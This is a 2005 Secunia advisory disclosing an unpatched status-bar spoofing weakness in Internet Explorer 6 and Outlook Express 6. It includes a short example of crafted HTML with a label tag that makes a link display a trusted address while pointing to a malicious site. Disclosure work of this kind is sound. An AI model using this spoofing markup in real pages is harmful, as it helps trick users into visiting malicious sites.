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Internet Explorer/Outlook Express Status Bar Spoofing
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Secunia Advisory:
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SA14304
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Release Date:
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2005-02-17
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Popularity:
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24,027 views
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Critical:
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Not critical
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Impact:
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Security Bypass
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Where:
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From remote
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Solution Status:
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Unpatched
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| Software: | Microsoft Internet Explorer 6.x
Microsoft Outlook Express 6
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Description:
bitlance winter has discovered a weakness in Internet Explorer/Outlook Express, which can be exploited by malicious people to trick users into visiting a malicious web site by obfuscating URLs.
It is by default possible for script code to manipulate information displayed in the status bar. However, an error allows manipulation of the status bar without using any script code (e.g. in the "Restricted sites" zone).
This can be exploited by including a "label" tag for a link, which manipulates the link's appearance via some specially crafted HTML code.
This weakness is a variant of:
SA11273
SA11582
SA13015
Example:
<p><a id="SPOOF" href="[malicious_site]"></a></p>
<div>
<a href="[trusted_site]">
<table>
<caption>
<a href="[trusted_site]">
<label for="SPOOF">
<u style="cursor: pointer; color: blue">
[trusted_site]
</u>
</label>
</a>
</caption>
</table>
</a>
</div>
The weakness has been confirmed in version 6.0 on a fully patched system running Windows XP with SP2 installed. Other versions may also be affected.
Solution:
Never follow links from untrusted sources.
Provided and/or discovered by:
bitlance winter
Other References:
SA11273:
http://secunia.com/advisories/11273/
SA11582
http://secunia.com/advisories/11582/
SA13015:
http://secunia.com/advisories/13015/
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